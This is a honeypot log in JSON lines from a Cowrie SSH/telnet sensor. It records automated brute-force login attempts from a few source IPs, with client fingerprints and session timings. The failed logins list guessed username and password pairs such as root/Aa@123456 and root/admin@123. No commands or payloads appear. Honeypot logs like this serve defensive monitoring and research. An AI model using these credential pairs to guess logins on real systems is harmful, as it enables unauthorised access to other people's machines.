{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:29.034242Z","src_ip":"193.106.245.20","session":"4587a86e5607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:29.251256Z","src_ip":"176.65.132.129","session":"5cdcb519a3ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luser","password":"luser","message":"login attempt [luser/luser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:29.557829Z","src_ip":"193.106.245.20","session":"4587a86e5607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:30.684535Z","src_ip":"193.106.245.20","session":"4587a86e5607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49264,"dst_ip":"159.203.135.109","dst_port":22,"session":"89659bfd2de3","protocol":"ssh","message":"New connection: 176.65.132.129:49264 (159.203.135.109:22) [session: 89659bfd2de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:31.150593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:31.158112Z","src_ip":"176.65.132.129","session":"89659bfd2de3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:31.354871Z","src_ip":"176.65.132.129","session":"89659bfd2de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.997379779815674,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:31.801150Z","src_ip":"45.58.127.90","session":"e286b3cb832d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.76529002189636,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:31.812178Z","src_ip":"45.58.127.90","session":"b18b47b6df13","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:31.829930Z","src_ip":"176.65.132.129","session":"89659bfd2de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:32.915289Z","src_ip":"176.65.132.129","session":"89659bfd2de3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49270,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ec647342299","protocol":"ssh","message":"New connection: 176.65.132.129:49270 (159.203.135.109:22) [session: 2ec647342299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:34.843288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:34.848586Z","src_ip":"176.65.132.129","session":"2ec647342299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:34.930757Z","src_ip":"176.65.132.129","session":"2ec647342299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:35.178238Z","src_ip":"176.65.132.129","session":"2ec647342299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:36.266624Z","src_ip":"176.65.132.129","session":"2ec647342299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52432,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a4cc29c36a0","protocol":"ssh","message":"New connection: 176.65.132.129:52432 (159.203.135.109:22) [session: 0a4cc29c36a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:38.308825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:38.312970Z","src_ip":"176.65.132.129","session":"0a4cc29c36a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:38.394577Z","src_ip":"176.65.132.129","session":"0a4cc29c36a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:38.639210Z","src_ip":"176.65.132.129","session":"0a4cc29c36a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.524852991104126,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:38.711312Z","src_ip":"45.58.127.90","session":"9ff7d8cb7055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:39.825081Z","src_ip":"176.65.132.129","session":"0a4cc29c36a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52444,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f9164598e51","protocol":"ssh","message":"New connection: 176.65.132.129:52444 (159.203.135.109:22) [session: 8f9164598e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:41.682825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:41.699542Z","src_ip":"176.65.132.129","session":"8f9164598e51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:41.951459Z","src_ip":"176.65.132.129","session":"8f9164598e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44440,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0fb08a2e3a","protocol":"telnet","message":"New connection: 45.58.127.90:44440 (10.17.0.5:23) [session: 9c0fb08a2e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:42.070680Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:42.286724Z","src_ip":"176.65.132.129","session":"8f9164598e51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:43.373419Z","src_ip":"176.65.132.129","session":"8f9164598e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52454,"dst_ip":"159.203.135.109","dst_port":22,"session":"08efa31671d5","protocol":"ssh","message":"New connection: 176.65.132.129:52454 (159.203.135.109:22) [session: 08efa31671d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:45.276632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:45.281664Z","src_ip":"176.65.132.129","session":"08efa31671d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:45.364332Z","src_ip":"176.65.132.129","session":"08efa31671d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:45.610324Z","src_ip":"176.65.132.129","session":"08efa31671d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:46.695223Z","src_ip":"176.65.132.129","session":"08efa31671d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48022,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ce7edfd261","protocol":"telnet","message":"New connection: 45.58.127.90:48022 (10.17.0.5:23) [session: 58ce7edfd261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:48.332918Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53710,"dst_ip":"159.203.135.109","dst_port":22,"session":"fac49ee13851","protocol":"ssh","message":"New connection: 176.65.132.129:53710 (159.203.135.109:22) [session: fac49ee13851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:48.695141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:48.698908Z","src_ip":"176.65.132.129","session":"fac49ee13851","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:48.783035Z","src_ip":"176.65.132.129","session":"fac49ee13851","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:49.030136Z","src_ip":"176.65.132.129","session":"fac49ee13851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:50.122891Z","src_ip":"176.65.132.129","session":"fac49ee13851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48024,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8755f44de91","protocol":"telnet","message":"New connection: 45.58.127.90:48024 (10.17.0.5:23) [session: e8755f44de91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:50.607726Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53716,"dst_ip":"159.203.135.109","dst_port":22,"session":"532ee4e0d519","protocol":"ssh","message":"New connection: 176.65.132.129:53716 (159.203.135.109:22) [session: 532ee4e0d519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:52.117717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:52.121785Z","src_ip":"176.65.132.129","session":"532ee4e0d519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:52.205646Z","src_ip":"176.65.132.129","session":"532ee4e0d519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:52.651430Z","src_ip":"176.65.132.129","session":"532ee4e0d519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48028,"dst_ip":"10.17.0.5","dst_port":23,"session":"aab1a55c0b8c","protocol":"telnet","message":"New connection: 45.58.127.90:48028 (10.17.0.5:23) [session: aab1a55c0b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:06:53.077374Z"}
